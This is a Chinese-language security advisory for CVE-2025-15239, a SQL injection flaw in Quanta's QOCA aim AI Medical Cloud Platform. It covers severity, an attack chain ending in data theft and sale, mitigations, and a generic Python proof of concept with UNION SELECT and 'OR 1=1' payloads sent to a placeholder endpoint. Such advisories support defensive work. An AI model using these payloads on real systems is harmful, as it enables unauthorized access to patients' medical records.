CVE-2025-15239: QOCA aim AI Medical Cloud Platform SQL注入漏洞

漏洞信息

漏洞编号

CVE-2025-15239

漏洞类型

SQL注入

CVSS评分

6.5 中危

攻击向量

网络 (AV:N)

认证要求

低权限 (PR:L)

用户交互

无需交互 (UI:N)

影响产品

QOCA aim AI Medical Cloud Platform (Quanta Computer)

漏洞概述

CVE-2025-15239是影响QOCA aim AI Medical Cloud Platform（由广达电脑Quanta Computer开发）的安全漏洞。该平台是一款专注于医疗领域的人工智能云计算解决方案，广泛应用于医疗机构的数据管理和分析场景。漏洞类型为SQL注入（SQL Injection），允许经过身份验证的远程攻击者向系统中注入任意SQL命令，从而读取数据库中的敏感内容。由于该平台涉及医疗数据的处理，攻击者可能获取患者隐私信息、医疗记录等高度敏感数据，对数据安全和个人隐私构成严重威胁。漏洞的CVSS评分为6.5，属于中等严重程度等级。攻击向量为网络范围，认证要求为低权限，无需用户交互即可实施攻击，对机密性有较高影响。攻击者利用该漏洞可绕过正常的数据访问控制机制，直接与后端数据库交互，读取未授权的数据内容。

技术细节

该SQL注入漏洞存在于QOCA aim AI Medical Cloud Platform的认证后功能模块中。攻击者通过构造特殊的HTTP请求参数，在用户输入字段中注入恶意SQL语句片段。当应用程序将这些未经过充分过滤的用户输入拼接到SQL查询语句中时，注入的SQL代码将被数据库引擎执行。攻击者可以利用UNION SELECT、布尔盲注、时间盲注等技术从数据库中提取敏感信息，包括用户凭证、医疗记录、系统配置等数据。由于漏洞需要认证才能利用，攻击者首先需要拥有有效的低权限账户，但这对攻击难度的影响有限。漏洞影响数据库的机密性，攻击者可通过构造适当的SQL payload读取任意表的数据内容。建议开发者使用参数化查询或预编译语句来防止SQL注入攻击，同时对用户输入进行严格的输入验证和白名单过滤。

攻击链分析

STEP 1

步骤1

攻击者获取QOCA aim AI Medical Cloud Platform的有效用户账户凭证（可通过社工、凭证填充或其他方式获得低权限账户）

STEP 2

步骤2

攻击者使用获取的凭证登录系统，建立认证会话

STEP 3

步骤3

攻击者在API请求参数中注入恶意SQL语句，如在搜索或查询功能模块中构造UNION SELECT或布尔盲注payload

STEP 4

步骤4

应用程序将注入的SQL代码拼接到数据库查询中，数据库引擎执行恶意SQL语句

STEP 5

步骤5

攻击者从HTTP响应中提取数据库返回的敏感信息，包括用户数据、医疗记录或其他机密内容

STEP 6

步骤6

攻击者利用获取的数据进行进一步攻击或数据售卖，对医疗机构和患者造成进一步损害

PoC / 利用代码

⚠️ 仅供安全研究

以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。

PoC

import requests import sys # CVE-2025-15239 SQL Injection PoC # Target: QOCA aim AI Medical Cloud Platform # Vulnerability: SQL Injection in authenticated endpoint target_url = "http://target-host/api/endpoint" # Replace with actual endpoint # Authentication payload auth_payload = { "username": "[email protected]", "password": "password123" } # SQL Injection payload to extract database version sql_injection_payload = { "param": "value' UNION SELECT NULL,@@version,NULL-- -", "id": "1 OR 1=1" } def exploit(): # Step 1: Authenticate to obtain session cookie session = requests.Session() auth_response = session.post(f"{target_url}/login", json=auth_payload) if auth_response.status_code != 200: print("[-] Authentication failed") return False print("[+] Authentication successful") # Step 2: Send SQL Injection payload inject_response = session.get(f"{target_url}/query", params=sql_injection_payload) if inject_response.status_code == 200: print("[+] SQL Injection successful") print(f"[+] Response: {inject_response.text}") return True else: print("[-] SQL Injection failed") return False if __name__ == "__main__": exploit()

影响范围

QOCA aim AI Medical Cloud Platform < 修复版本

防御指南

临时缓解措施

在官方补丁发布前，可采取以下临时缓解措施：1）限制对受影响接口的访问，仅允许受信任的IP地址访问；2）实施请求速率限制防止自动化攻击；3）启用应用层入侵检测系统监控异常SQL查询行为；4）对认证机制实施强密码策略和多因素认证；5）定期审计数据库访问日志，检测可疑查询模式；6）考虑在应用层和数据库层之间部署数据库防火墙进行深度检测和防护。